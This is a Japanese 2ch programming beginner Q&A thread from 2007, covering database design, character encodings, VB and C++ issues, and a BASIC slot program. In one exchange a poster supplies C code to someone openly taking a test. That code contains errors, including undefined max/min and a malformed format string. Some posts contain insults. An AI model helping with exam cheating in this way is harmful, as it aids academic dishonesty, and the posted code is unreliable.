次のようなデータ構造に対するRDBのテーブル設計について教えてください。 ・(ID、分類、値)のデータの組が数十万件あります。 ・「ID」はこのデータの組を一意に識別します。 ・「分類」は、このデータの組を階層化して分類する次のような文字列 例えばトップレベルの分類が"A"で次のレベルの分類が"B"、 さらにその次のレベルが"C"だとすると、"A.B.C" ・「分類」の階層は少なくとも1レベル以上で上限はありません。 ・「分類」の階層の数はデータの組ごとに異なります。 ・「分類」の文字列は、各階層ごとに辞書的順序で順序付けされています。 例えば、全てのデータの組を「分類」の順序でソートしたとすると、 順に、Aの属するもの、A.Aに属するもの、A.Bに属するもの、A.B.Aに属するもの、 A.B.Bに属するもの…、となります。ここで、Aに属するものは、A.AやA.Bなどに 属するものとは重複して属することはなく、Aには属するがA.AやA.Bなどには 属しないものとします。また、同じ分類に属するもの同士の順序は任意とします。 以上のようなデータ構造で、あるときにはトップレベルの分類だけでソートしたり、 あるときには、例えば分類A.Bだけは第三層まで見てあとは全て第二層までの 分類でソートする、あるいは、途中の階層にXの分類があるのみもの集計する、 といった具合に自由な階層構造でソートしたり集計したりしたいとします。 このような場合、どのようにテーブル設計をするのが良いでしょうか? あるいは、参考になるURLなどを教えていただければ幸いです。 よろしくお願いします。
>>695 情報ありがとうございました。
マルチポストになってしまうかもしれませんが、
そちらで同じ質問をしてみようと思います。
あるプログラムの挙動を理解するため、ロジックを自然言語で表現しなおしています。 できれば他人に理解しやすいように 既存の方法論があればそれに則って表現したいのですが、 そのようなものがありましたら教えていただけると幸いです。
日本語でおk
はい、そうです。
あるプログラムの挙動を理解するため、ロジックを自然言語で表現しなおしています。 「if 〜」は「もし〜ならば・・・」といった具合です。 ですが、これだと自分はいいのですが他人に見せたとき理解してもらえるか不安です。 他人が見て理解しやすいような表現方法があればそれに則って表現したいので、 そのようなものがありましたら教えてください。
日本語でおk
プログラムの振舞いを分かりやすく記述する方法を教えてください。
なんだ結局フローチャートかよ あほらし
C++ の質問なのですが、<cstdio>や<cerrno> を使った場合も stderr や errno は std ネームスペースに含まれないんでしょうか? エラー出力のために std::fprintf(std::stderr, "debug: errno=%d\n", std::errno); のように記述したところ、gcc 3.4.4(cygming special)では stderr, errno 双方ともマクロ展開されて、下のようなエラーになってしまいます。 test.cc: In function `int main(int, char**)': test.cc:10: error: expected unqualified-id before '(' token test.cc:10: error: expected unqualified-id before '(' token
>>704 ごめん、君の狙いに反して
君のほうが馬鹿に見えちゃってるww
Napsterってログインは中央サーバーでやってたと思うんだけど 実際の音楽配信のやりとりは配布されたソフトウェアでやっていたんですか?
710 :
707 :2007/01/23(火) 23:00:25
全く別人なんですけどw
お前は何を言っているんだ?
712 :
707 :2007/01/23(火) 23:09:58
逆にこっちが聞きたいですよ 何か分かりませんけど、とりあえず死ね!
713 :
デフォルトの名無しさん :2007/01/23(火) 23:21:36
だからお前みたいなアホが来る場所じゃないって事
715 :
デフォルトの名無しさん :2007/01/24(水) 15:47:42
エンコードでUTF-8と、JIS-8というのがありますが、これは同じものでしょうか? .NETでエンコード指定せず、テキストファイルを出力すると、UTF8で出力されます。 これを、EBCDICに変換してホスト側に送信したいのです。 (漢字はありません。英数カナのみです) 送信ツールには、JIS8→EBSDIC変換というのがあります。これが使えますか?
ヒント:半角カナの使えるJISコードには JIS7 と JIS8 がある
718 :
715 :2007/01/24(水) 16:49:33
>>716 、717
ありがとうございます。
教えて頂いたページを見ましたが、EncodingNameプロパティにJIS8がないので、
UTF8=JIS8と考えてよいのでしょうか?
もしくは、EUC-JP =EBSDICなのでしょうか?
>>718 漢字コードとそれ以外は分けて考えたほうがいい
漢字コードを考慮しないのであれば、
ASCIIコードを基にしてるJISとUNICODEは近い
EBCDICは別体系。
シフトJISやEUCはiso-2022-jpから派生した漢字コード体系と思えばいい、かも
.NETって.NETFrameworkの事?
721 :
715 :2007/01/24(水) 17:38:23
>>719 ありがとうございます。
漢字は考慮しません。英数カナ記号です
>>720 VisualBasic.net です
VisualBasic.netで、テキスト出力するのですが、
そのテキストのエンコードをJIS8、または、EBSDICで出力したいのです。
現在、以下のようにコーディングしていて(エンコード指定せず)
sWriter = New StreamWriter(sFileNm) '' エンコード:UTF-8
送信ツールでJIS8→EBSDICに変換しようとしています。
漢字を考慮しない場合、上記の組合せで問題ないでしょうか?
あ、なんかごめん そっちの話じゃなくて俺が純粋にここで質問したかっただけなんだ 偶然すぎる('A`)
カナも含むなら、JISとUTF-8は違う。 UTF-8はASCIIの7ビット部分だけが同じ。 カナをそのまま8ビットで扱うのならiso-2022-jpかシフトJISになるかな。 EUCとUNICODE系はちょっと違ってくる
724 :
715 :2007/01/24(水) 18:02:25
>>723 そうですか。
自力で変換するしかないんですかね。
どうも色々とありがとうございます。
>>724 いやだから、内部コードは気にせずに指定エンコードで出力すればいいだけなのでは
727 :
715 :2007/01/24(水) 18:18:22
>>725 指定エンコードはEBCDICなのですが、
sWriter = New StreamWriter(sFileNm, False, System.Text.Encoding.GetEncoding("XXXXXXXX")
で、エンコードを指定する時、("XXXXXXXX")の部分に何を入れればいいのか、わからないのです。
>>726 なるほど!その簡潔な答えが欲しかった
.NETで検索するとドメインばっか出てくるから困ってたんだ
ありがとう!!
>>727 >>716 を見ると、IBM290 -- IBM EBCDIC (日本語カタカナ)
ってあるけど、これじゃだめかい
730 :
デフォルトの名無しさん :2007/01/24(水) 19:29:42
ArrayListや、LinkedListなどのリストデータ構造を解説しているページを教えてください。 具体的には、ArrayListや、LinkedList以外のデータ構造の一般的な名前を知りたいのですが・・・
731 :
715 :2007/01/24(水) 19:35:27
732 :
デフォルトの名無しさん :2007/01/25(木) 00:04:03
3軸ステージ制御をC#でやろうと思いましたが、サンプルコードがVBでしか見つかりませんでした。 VBは専門外なので、C#に変換できればと思うのですが、VB−C#のプログラムの相互変換ツールとか知りませんか?
つか VB ぐらい読めるようにしといた方が良い .NET 以降なら文法が違うだけだし
735 :
653 :2007/01/25(木) 00:36:15
スタックを3つとstatic変数を1個使って 無事非再帰版を書くことが出来ました ありがとうございました #初めて、goto文使った
736 :
デフォルトの名無しさん :2007/01/25(木) 11:17:53
テスト中で、非常にこまっえるんだが。 整数を三個入力してその合計、平均、最大値、最小値を求めるプログラムを作成します、各出力は小数点以下一桁までとしましょう。 これって何語ですか? たすけて!!
737 :
デフォルトの名無しさん :2007/01/25(木) 11:21:10
テスト中に2chでカンニングしようとしてる奴を始めてみた。 あげて手伝ってやる。がんばれ。
738 :
648 :2007/01/25(木) 11:21:56
質問を変えて再質問させていただき候。 IOleCommandTargetを継承してExecイベントを受信する方法をお教えください。 というか、スクリプトエラーダイアログを表示させない方法をお教えくださいまし。
>>736 言語を指定しないと回答しようがない罠
まぁ、指定されても回答しないがwww
740 :
デフォルトの名無しさん :2007/01/25(木) 11:25:16
>>739 C言語入門演習って書いてある。
レスしてくれるだけでもうれしいんだぜ?
741 :
デフォルトの名無しさん :2007/01/25(木) 11:30:27
>>737 資料持込OKのテストなんだが。2chは資料じゃないのか!!
>>736 何語ですかって聞かれたら日本語ですとしか答えられないんだが
743 :
デフォルトの名無しさん :2007/01/25(木) 11:40:54
>>742 この問題を見て カタカタと打ち込んでる奴らって何なの? って思いました。凄いね。
超手抜きバージョン間違ってても知らんwww #include <stdio.h> int main() { int a,b,c,val_sum,val_avg,val_max,val_min; scanf("%d",&a); scanf("%d",&b); scanf("%d",&c); a*=10; b*=10; c*=10; val_sum = a + b + c; val_avg = val_sum / 3; val_max = max(a,max(b,c)); val_min = min(a,min(b,c)); printf("sum = %d.%d\n",val_sum/10,val_sum%10); printf("avg = %d.%d\n",val_avg/10,val_avg%10); printf("max = %d.%d\n",val_max/10,val_max%10); printf("min = %d..d\n",val_min/10,val_min%10); return 0; }
745 :
デフォルトの名無しさん :2007/01/25(木) 12:14:44
>>744 ありがとかみさま! どうかうまくいったわ
10倍にするのは設問者の意図とは違うだろうけどな。
普通は double val; printf("%.1f", val); だよね
>>743 単に君が分かっていないだけだ。
この原因は色々考えられるが、主に以下の3つに絞られるだろう。
1. バカである。
2. アホである。
3. タワケである。
そんなわけで成績表は申し分ないが
実際は
>>736 な奴をおまいらの会社に送り込むから面倒見よろしく。
というオチになるわけだな。
>>743 = (1. バカである。) | (2. アホである。) | (3. タワケである。)
>>743 = (1. バカである。) & (2. アホである。) & (3. タワケである。)
おいおい…高卒の俺でも
>>736 に「何語?」とまではいかんぞ…
フツーに中学数学用語だよな?
俺がコードが書けるかと言うと話は別だけどさ
デザインってホームページとソフトウェアでは、 主に何が変わるの?ソフトウェアのデザインではXhtmlが使えなくなると聞いたんだが。 初心者的な質問でごめん。
754 :
デフォルトの名無しさん :2007/01/25(木) 19:45:43
>>753 > ソフトウェアのデザインではXhtmlが使えなくなると聞いたんだが。
もともと、ソフトウェアのデザインにXHTMLなんぞ、津カット欄w
>>754 そうか。何度も初心者的な質問ですまないが、
ソフトウェアのデザインに使える言語を教えてくれないか?
本当に初心者的な質問ですまない。
757 :
デフォルトの名無しさん :2007/01/25(木) 22:36:27
再起呼び出しをフローチャートで書くとどうなるか教えてください。
書けばわかるさ
かけなくて困っていますTヘT
retrn checksubが再起呼び出しになってるってことなんですか。ありがとうございます!
>>755 動作させたいプラットフォームとか書けと
763 :
デフォルトの名無しさん :2007/01/25(木) 23:07:23
VB6を使っているのですが、 タイマー関数の中で使用する自作した関数を、タイマー関数の外で選択することはできますでしょうか? (今作っているのだと、どの関数を使うかは最初で決められるのに毎回条件を判定して、使う自作の関数を決定しています) Private Sub Command1_Click() i = 1 ←ここで使用するための条件を決めて Timer1.Enabled = True End Sub Private Sub Timer1_Timer() If i = 1 Then ←毎回使う関数を選ぶ条件判定を行っている n = Func1() ElseIf i = 2 Then n = Func2() Else n = Func3() End Sub
764 :
デフォルトの名無しさん :2007/01/25(木) 23:19:46
オプションボタンでどの関数を使うかの選択と、タイマー関数を自作の関数分作って Private Sub Option1_Click() i =1 End Sub Private Sub Option2_Click() i =2 End Sub ・ ・ ・ Private Sub Command1_Click() If i = 1 Then Timer1.Enabled = True ElseIf i = 2 Then Timer2.Enabled = True Else Timer3.Enabled = True) End Sub Private Sub Timer1_Timer() n = Func1() End Sub Private Sub Timer2_Timer() n = Func2() End Sub ・ ・ ・ とした方が良いのでしょうか?
>>755 マウスで部品を配置していくのが一般的だから、特に何か言語を使ってと言うのは少ない。
HTA ((X)HTMLを使って)とか、WPF (XAML)とか全く無いわけではないけどね。
766 :
755 :2007/01/25(木) 23:48:34
>>762 OSは、windowsならXPかVista、MacならMac OS X
767 :
763 :2007/01/26(金) 00:06:23
コントロール配列を使用した方が良さそうですね Private Sub Option1_Click() i =1 End Sub Private Sub Option2_Click() i =2 End Sub ・ ・ ・ Private Sub Command1_Click() Timer(i).Enabled = True End Sub Private Sub Timer1_Timer() n = Func1() End Sub Private Sub Timer2_Timer() n = Func2() End Sub ・ ・ ・
VCで、某CUIゲームの様にコマンドプロンプトに出力する文字を任意の位置にしたいのですが、 詳細はどういうキーワードでぐぐれば良いんでしょうか。
「コンソール」「エスケープシーケンス」「コントロールシーケンス」あたり。
arigatougozaimasu
6年前にvb6で作成したプログラム見てくれますか
見る
見た
HAHAHA
凄くエロティックなソースコードですね。
778 :
たく :2007/01/26(金) 12:58:50
javaのお絵描きロジックのプログラムで課題なんですが、 これは、座標と線と数値が表示されるだけなんですが、 どうしたら二次元配列で座標を記憶でき、クリックしたら 色を再描画できるのかわかりません。 教えてください。 後誰か、このプログラムでお絵描きロジックを 白黒でも良いので、完成できる人いませんか?? じかんもあまりありませんので本当によろしく お願いします。 import java.io.*; import java.util.*; import java.applet.Applet; import java.awt.*; import java.awt.event.*; /* <APPLET CODE="mouse.class" WIDTH=200 HEIGHT=100> </APPLET> */
779 :
たく :2007/01/26(金) 12:59:57
続き public class mouseevent extends Applet implements MouseListener{ private static final long serialVersionUID = -5299837240048445108L; int n=0, m=0; int i, j; int dt[][]=null; Scanner sc; int xr=-1, yr,x1,xn,y1,yn,xa,ya,xb,yb,p,s; String ss=""; public void main(String args[]){ int d[][]=new int[s][p]; }
780 :
たく :2007/01/26(金) 13:00:28
続き public void paint(Graphics g){ g.setColor(Color.red); xa=(xr-200)/20*20+200; ya=(yr-200)/20*20+200; // xn=200+(20*m); // yn=200+(20*m); if((xa >199)&&(ya >199)&&(xa<400)&&(ya<400)){ g.fillRect(xa,ya,20,20); } /*g.drawString(""+xr , 30, 40); //座標表示 g.drawString(""+yr , 50, 60);*/
javaスレいけば?
いきなり長々とソース貼られても迷惑なだけ
うわ、殴りてえ
変なヤツを他のスレに誘導すんなよw 誘導先に無意味なもの貼り付けてたぞ
すみません、VS2005なんですが、HTMLパーサは自作するしか手は無いのでしょうか。。
mshtml.dll 使えばいいんじゃね
788 :
デフォルトの名無しさん :2007/01/26(金) 23:45:32
VCで#ifndef以降の行の文字色が灰色になってしまうのはなんですか?
ビルドするかCtrl+Sを押すか数秒間放っておくとアクティブな部分は通常通りになるよ。 M$の無駄な機能って気持ち悪いよね
新人にフローチャートを書かせる課題を与えたら、 拡張子fctのファイルを添付して送ってきたのですが、 対応するアプリがわからず開けません。 今から添削しないといけないのですが、本人と連絡が取れないので どなたか教えていただけませんでしょうか。
>>790 とりあえずテキストエディタで開いて先頭か最後に
生成アプリの名称らしい文字列がないか調べてみて
はどうでしょう?
極窓も試して見れ
>>791 フローチャート中に記入されていると思われる日本語以外は文字化けしてます。
>>792 試してみましたが、登録されていないようでした。
プログラマならバイナリエディタぐらい(ry
795 :
デフォルトの名無しさん :2007/01/27(土) 03:07:23
>>766 RubyかC#が、おすすめ。どちらも無料で使える。
>>790 俺なら、課題は0点だな。
他人に読めない、一般的でないフォーマットで送るなと言ってやる。
Flow CharT?
最新のVCで今時特別な事情もないのにmalloc使ってる人ってダサいと思われてますか? C言語が出来ないと思われるのが嫌なのでnew使わないでおこうかなと思うんですが。
メモリの割り当てにはmalloc,free オブジェクトの割り当てにはnew,delete 使いどころが違う。
ですよね
800 :
788 :2007/01/27(土) 05:27:58
>>789 おお、ありがとうございます。
そういうもんなんですね。
801 :
デフォルトの名無しさん :2007/01/27(土) 05:52:05
802 :
デフォルトの名無しさん :2007/01/27(土) 11:36:36
atlhost.hに手を加えたものをatlhostex.hとして、 //#include <atlhost.h> #include "atlhostex.h" としてるんですが、なぜか__ATLHOST_H__が定義されているようでインクルードできません。 atlhostex.hの#ifndef __ATLHOST_H__をコメントアウトしても、 C2084 関数は既に本体を持っています。 C2374 再定義されてます。 上記エラーがでてビルドできません。 どうしたらいいもんでしょうか?
単純に考えて#undef
>>802 #include "atlhostex.h" より上の深いところで#include <atlhostex.h>
とされているんでしょう。
__ATLHOSTEX_H__に代えてみてはいかがでしょうか?
805 :
802 :2007/01/27(土) 12:43:34
早速のレスありがとうございます。
>>803 残念ながら駄目でした。
>>804 同じくC2084とC2374エラーが出ちゃいます。
atlhost.hを書き換えて、
#include <atlhost.h>だと大丈夫なんですけども。
コンパイラのオプション(プリプロセッサ)はどうですか?
プログラムってどのようにして実行されるのですか?
マウスでアイコンでクリックして実行されるんだよ。
809 :
808 :2007/01/27(土) 14:56:01
日本語が変だな。 正しくは アイコンがマウスでクリックされることによって実行される だ。
>>798 そんな使い分けをするほうがダサい。
C++なら例えintでもcharでもnew(もしくはnew [])あるいはstd::vectorほか、Cならmalloc(しか選びようがないが)。
811 :
807 :2007/01/27(土) 15:12:33
確かにそうなんですが、 プログラグラムを作成して、それが実行されるまでにどういう ことが行われているのかと思いまして。
814 :
808 :2007/01/27(土) 16:35:36
>>811 プログラムが作成される。
↓
ユーザーが実行したいと思う。
↓
>>809 ↓
実行
って話を聞きたいんじゃないんだろうが、
せめてあんたの言うプログラムがソースコード(つまりC言語とかそんなの)なのか実行形式(つまりクリックして実行するやつ)なのか教えてくれ。
みんな答えは知ってるけど説明すんのがめんどくさいだけだから アホは黙ってた方がいい
816 :
802 :2007/01/27(土) 17:39:58
>>806 レスが遅くなってすいません。
プリプロセッサの定義でしょうか?
そこにはそれらしいものはありませんでした。
817 :
デフォルトの名無しさん :2007/01/27(土) 21:33:24
C#でネットワーク利用したプログラム書いてるんですが、 winnyの初期ノードのようにIPアドレスを一見見てわからないようにするのに いい案ありませんでしょうか??
818 :
デフォルトの名無しさん :2007/01/27(土) 21:38:41
「不安定」から「田後」の発注を受けたのはイイが、 ろくなプログラムが掛けなかった「伝説のプログラマ」について知りたいのですが。
819 :
VBER :2007/01/27(土) 23:51:30
VBでMP3のTAG情報などを書き込みたいのですが、どのあたりで質問したら いいのでしょうか? #フリーソフトで操作性のいいのはあるのですが、既存のDBから書き込 #みたいので
821 :
807 :2007/01/28(日) 13:40:15
レス遅くなってすいません。
>>813 本だと詳しく解りそうなのですが、本を買ってまで詳しく知りたいのではなく
単にどういう段階を踏んでるのかと思いまして。
>>814 ソースコードです。
子供向けの本でそういうの解説してるのがあったと思う
823 :
807 :2007/01/28(日) 14:13:17
自分で調べたら大体は理解できたのでいいです。 失礼しました。
iいちいち説明してたら本1冊ぐらい書けてしまうから それだったら本でも買って読めということだな
統合開発環境のビルドの方法としてデバッグとリリースとありますが、この違いはなんですか
デバッグ用とリリース用
リリース用の方が実行速度が明らかに速くなりますか
体感はかわらなかったりする
>>825 ・実行時ASSERTIONの無効化
・マップ情報の削除
・最適化オプションの付加・その他
830 :
デフォルトの名無しさん :2007/01/28(日) 21:06:26
VB6(VisualStudio)のMSDNのCDを無くしてしまいました。 MSDNはWebで公開されていないのでしょうか?
831 :
デフォルトの名無しさん :2007/01/28(日) 21:32:25
Linuxで画像を変換するソフトを作ってみようと考えてるのですが、 勉強するにはどのようなジャンルを勉強するべきなのでしょうか?
>>831 本屋や図書館行って画像処理の本を読め
話はそれからだ
英語
834 :
デフォルトの名無しさん :2007/01/28(日) 21:46:49
なるほど… プログラミングに近道は無しですか。 jpgはbmpより軽くて荒いくらいしか知らないけど、とりあえず画像処理系の本読んでみます。
835 :
デフォルトの名無しさん :2007/01/28(日) 21:51:15
Wikipediaより >JPEGでは、画像を固定サイズ(8×8画素)のブロックに分割し、そのブロック単位で、 >離散コサイン変換(DCT: Discrete Cosine Transform) を用いて、 >空間領域から周波数領域へ変換する(この変換自体では情報量は削減されない)。 >変換されたデータは、量子化によって情報量を落としてから、ハフマン符号による >エントロピー符号化がなされ圧縮が行われる。エントロピー符号化とは、 >データの生起確率の高低に応じて異なる長さの符号を割り当てることで圧縮を行うものである。 日本語でおk
お前が無知なだけ
>>830 MSDNライブラリのことか?
比較的新しいMSDNライブラリなら、公開されてる
VS6に対応したMSDNライブラリ 2001年10月版が公開されてるかは知らないが
MSDN会員ならサブスクライバダウンロードでダウンロードできるはず
VB6はライセンスだか特許だかの関係で一度MSDNから抹殺されたけど復活したの?
それはVJ
MSDNのサイトは旧バージョンの情報は消されていく VC6もほとんど消された 英語のサイトになら残ってる可能性はある。
は?
VB6のドキュメントは英語の方にはあるな
>>831 変換だけならlibjpegとかの画像フォーマット扱うライブラリのドキュメント読めばおk
846 :
デフォルトの名無しさん :2007/01/29(月) 16:27:14
汎用の数値計算ライブラリを1つ覚えたいんですが LINPACK,LAPACK++,TNT,BOOSTのuBlasでは どれを覚えるのが良いと思いますか
847 :
デフォルトの名無しさん :2007/01/29(月) 16:41:52
LZHファイルを解凍するオススメソフトを教えてください
>>847 LHA32.EXE Ver2.67.00
850 :
デフォルトの名無しさん :2007/01/29(月) 22:09:11
^ をキーボードのどれを叩いたら出せるのか教えてくれ。 どうやっても出てこない!!!!
>849 ム板的には dll じゃまいか?
プログラム板だと間違えられる可能性が高い 本来ならプログラミングかプログラム開発だからな
>>856 式次第、進行の相談はこの板では扱ってないのけ?
LHaplus
>>853 キーボード入力をトラップするフィルタドライバを書くといいよ
初心者でも3年あれば十分作れる
860 :
859 :2007/01/31(水) 12:49:33
アンカー指定ミス >853ではなく>852
いや別にネタを一日遅れでアンカ修正しなくてもw
しかもつまんないネタだったしな
質問です。 クラス、STLをちょこちょこ使えるレベルの学生プログラマーです。 いままでコンソールアプリしか作った経験が無いのですが、 GUIを備えたWindowsアプリの作成に挑戦してみようと思っていまして、 習得対象のツールとしては、VC++またはVC#を考えています。 ところが、双方のデメリットとして、VC++はMFCの習得が困難であること、VC#は.NETに依存することを聞きまして、 どちらを習得したほうがよいものか計りかねています。 そこでお聞きしたいのですが、将来性や環境依存性、開発効率などを考慮した場合、どちらを勉強したほうがよいと思われますか? なお、プロのプラログラマーになる気はまったくありません。
865 :
863 :2007/01/31(水) 20:39:22
>>864 よろしければ理由を書いていただけると参考になるのですが
特に理由がなければC#
VC6 もうかなり古い製品なので、C++の仕様に準拠してない部分がちらほら VC8 (Unmanaged) VC8 は旧来の C++ と、C++/CLI がコンパイルできる。 旧来の C++ のほうは .NET に依存しない。けど、要ランタイム。 C++ としてはもっとも標準準拠してるもののひとつ。 C++/CLI は今までの C++ とは全くの別言語。 ECMA に仕様が提出されているので、VB みたいな MS の方言言語では ないけどこのまえ標準化委員会から蹴られた。 .NET Framework に依存。 既存のネイティブコードライブラリとリンクが出来る。 C# C という名前を冠しているけど、どっちかというと Java に近い。 GUI を作るには、C++/CLI より簡単。 .NET Frameworkに依存。 おいらは C# で作った GUI と、 C++ で作られたライブラリとをリンクするために C++/CLI を利用するみたいな感じで使ってる。
お金になるようなもの作る気ないなら C# の方が手軽に出来て、精神的にも良いと思う。 VCは、VCならではの利点はあるけど…めんどくさいことが多い…
ちがうな。 つか、デストラクタとファイナライザの違いがよくわからん・・・。
メッセージを1000件/秒で処理したいのですが、その場合に最適な言語はやはりC,C++ でしょうか? (アセンブラはのぞく)
COBOL
日本語 より高くて性能のいいハード・ソフト・その他の環境を買ってもらうため
プライスレス
>872 何のメッセージをどう処理したいのだ
I LOVE YOU
>876 障害メッセージで同じものがたくさん出てくるので、それをパターンごとに分類して、 端末上に表示する数を減らしたいのです。
メッセージはテキストファイルなのか、 被監視機器から何らかのプロトコルで送られてくるのか 通信プロトコルのプログラミングもするのか 端末はメッセージを処理する機器と同一か OSは何か
愛は実在するのか
概ね
イルクーツクの空は?
それなりに
>>882 暖冬とされているロシアだったが、気温は平年並に。
降雪量は少ない模様。
885 :
デフォルトの名無しさん :2007/02/01(木) 11:50:45
Javascriptとか、それらを使ったライブラリの話とかのスレが見つからないのですが、 板違いですか? それとも見落とし? 立てたらウザいですか?
http://pc10.2ch.net/tech/ この板はプログラムを作る人のための板です。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
Javascript は Web 制作板、CGI は Web プログラミング板へ。 ←←←←←←←←←←←←←←←←
業界談義、愚痴はプログラマ板へどうぞ。
ゲーム関係の話題はゲーム製作板へどうぞ。
ネタ、板とは関係の無い話題はご遠慮ください。
>>885 Web制作としてのJavaScriptなら >886 の通り。
Windows Scripting Host なら WSH で探すべし。
もっと言語仕様の根本的なところに突っ込むなら
JavaScript は ECMA Script の実装の一つなので ECMA で探す。
〇〇->××の "->"ってどういう意味?
>>888 →を半角で表現したもの
もしくは、C/C++で構造体/クラスのポインタからメンバにアクセスする演算子
892 :
846 :2007/02/01(木) 17:43:17
あろーわーく
指定 を和英辞書で引くと appoint や specify 等の英単語が出てきますが、 関数の引数で例えばファイル名やサイズを「指定する」、 という意味ではどの単語を使うべきなのでしょうか。
>895 そういうのは各言語のリファレンスマニュアル(英語)が参考になる。 俺がよく見かけるのは specify, specified だな
〜に接続するコンピュータを指定する specify a computer to connect to 〜のファイルを指定する specify the files for 〜のフォーマットを指定する specify the format of 〜の開始位置を指定する specify a starting location for 〜の長さ属性を指定する specify the length attribute of 〜をインストールするフォルダを指定する specify a folder in which to install 〜用にユーザー名やパスワードを指定する specify a user name and password for パラメータを指定する specify parameters フォントのサイズを指定する specify the font size フォントの色を指定する specify the font color ネットマスクを指定する assign netmasks ネットワーク上のそれぞれのマシーンに固有のIPアドレスを指定する assign unique IP addresses to each machine on the network ファイルにパスワードを指定する assign a password to a file
普通の辞書引いて出てきたのが最適なのかどうか
馬鹿には教えるだけ無駄ということだ
>>871 C++デストラクタは、実行されるタイミングがはっきりしている。
.NET Frameworkのファイナライザ(C#デストラクタ)はガベージコレクションとの絡みで実行されるタイミングがはっきりしない。
902 :
デフォルトの名無しさん :2007/02/01(木) 22:56:00
>>886 WebPorgとWeb製作 が別だという事を知りませんでした・・orz
Ajaxのライブラリとかって、微妙な位置づけなんですね。
適当に既存スレを漁ってみます。
どうもでした。
>>897 >>898 解答ありがとうございます
今rubyのマニュアルを見てみたところ、ファイルを開くコードの解説に
You can also optionally specify file permissions when creating a file
とありました。
やはりこういうときはspecifyのほうを使うべきみたいなのでそれにならうことにします。
assignというのは 指定する といっても 割り当てる のような意味で使われてる気がします
ICやコネクタのピンアサインという言葉もありますし・・・
>>902 当初、javascriptのあまりにも初心者的でHTMLな質問が多発したから
Web製作に追い出されたw
906 :
デフォルトの名無しさん :2007/02/03(土) 22:02:48
あえてageて書いてみる。 まずおれの状況から ・商社系のでかいSier ・入社5年目 ・あるシステム(Aとする)の運用と開発を入社から4年間担当し続けている。 ・今年から別のBシステムの開発を担当している(現在かなりのデスマ中) んで、Aシステムの結構大きい開発案件が今進んでるんだが AのPLがうんこで、Aの1サブシステムの開発をすべて新人に推しつけた。 AシステムのPMは、おれがお世話になってる俺の直属の上司。 設計書とか一応前任者としてチェック・アドバイスとかしたんだけど もう、やばいとかのレベルじゃない。超うんこ。 んで、その新人とうちの課長さんはAシステムの件で連日徹夜状態で、死にそうな状態。 みんなに相談したいのは、おれは イ) Aシステムのことは見なかったことにして、Bの開発に従事。 ロ) Aシステムの火消しを死ぬ気で手伝う。 どっちがいいんだろうか、ということ。 今の課長が死んでしまうのも辛いが、自分の生活も守りたいという間で 心が揺れています・・・・。
マ板池
>>907 ごめん、俺も今気づいた。
マ板逝きます。
WinXPのスクリーンセーバーを自作したいのですが、開発環境は 何が最適でしょうか? できれば安価にすましたいのですが。 Visual BASIC が最適?
何でもいいよ。 *.exeを*.scrとリネームするだけだから。
嘘を嘘と見抜け
913 :
デフォルトの名無しさん :2007/02/04(日) 04:56:32
誰に言ってんの
プラグインのメリットって?
for(;P("\n"),R-;P("|"))for(e=C;e-;P("_"+(*u++/8)%2))P("| "+(*u/4)%2); これってどう読むんですか?
>>910 決して間違ってはいないが
ちょっとそれは違うぞ
917 :
909 :2007/02/04(日) 09:36:04
それくらい分かってるがな
\___________/ ∨ ___ _ / ____ヽ /  ̄  ̄ \ | | /, −、, -、l /、 ヽ | _| -|○ | ○|| |・ |―-、 | , ―-、 (6 _ー っ-´、} q -´ 二 ヽ | | -⊂) \ ヽ_  ̄ ̄ノノ ノ_ ー | | | ̄ ̄|/ (_ ∪ ̄ / 、 \ \. ̄` | / ヽ ` ,.|  ̄ | | O===== | `− ´ | | _| / |
キーフックでも掛けてたら最高です 本当にありがとうございました
BASIC言語のスロットのプログラムなんですけど、 10CLEAR :CLS 20DIM A(2),B(2) 30FOR J=0 TO 2 40A(J)= RND 6-1 50NEXT 60*MAIN 70LOCATE 0,0 80FOR J=0 TO 2 90IF B(J)=0 LET A(J)=(A(J)+1) MOD 6 100PRINT MID$ ("$*\7+&",A(J)+1,1); 110NEXT 120C= ASC INKEY$ -49 130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1 140IF D<3 GOTO *MAIN 150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD" 160CALL 48381 170GOTO 10 どの命令がどのような意味を持っているのか教えてください。
まさか全部分からないとでも・・・
>>921 本当に初心者なんで申し訳ないんですけど、
行番号で言うと
10,20,70,160,170は分かります。それ以外はどのような意味を持っているのでしょうか?
教えていただけたらありがたいです。
923 :
デフォルトの名無しさん :2007/02/04(日) 14:14:23
↓みたいなアクセス形態は三層クライアントって呼ばれますかね? ユーザ→HTML・JSP→サーブレット・豆→DB・データ鯖
>>923 SHARP製のポケコンのBASICです。
説明書見たんですが、
130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1
140IF D<3 GOTO *MAIN
150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD"
やっぱりここの意味が分かりません。教えていただけませんか。
926 :
デフォルトの名無しさん :2007/02/04(日) 16:46:54
>>925 おのBASICの仕様をしらないのだが、適当に予想すると
IF文は条件分岐、
LETは、変数代入
GOTOは、実行位置の移動
PRINTは、画面に、文字列を表示
ANDは、○○かつ、という条件演算子
だと思うのだが、
どこがわからない?
10CLEAR :CLS
20DIM A(2),B(2)
30FOR J=0 TO 2
40A(J)= RND 6-1
50NEXT
60*MAIN
70LOCATE 0,0
80FOR J=0 TO 2
90IF B(J)=0 LET A(J)=(A(J)+1) MOD 6
100PRINT MID$ ("$*\7+&",A(J)+1,1);
110NEXT
120C= ASC INKEY$ -49
130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1
140IF D<3 GOTO *MAIN
150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD"
160CALL 48381
170GOTO 10
>>926 これとあわせて見ていただきたいのですが、IFなどの意味は分かるんです。
ただ、
130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1
140IF D<3 GOTO *MAIN
150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD"
のようにC>-1などがプログラム上でどのような意味を持っているのか分からないんです。
>>926 動物にエサを与えないでください
かわいそうと思ってもみんなが迷惑します
>>927 130と140でキーボード入力0、1、2のみ1回ずつしか受け付けないようにしている。
931 :
デフォルトの名無しさん :2007/02/04(日) 17:44:37
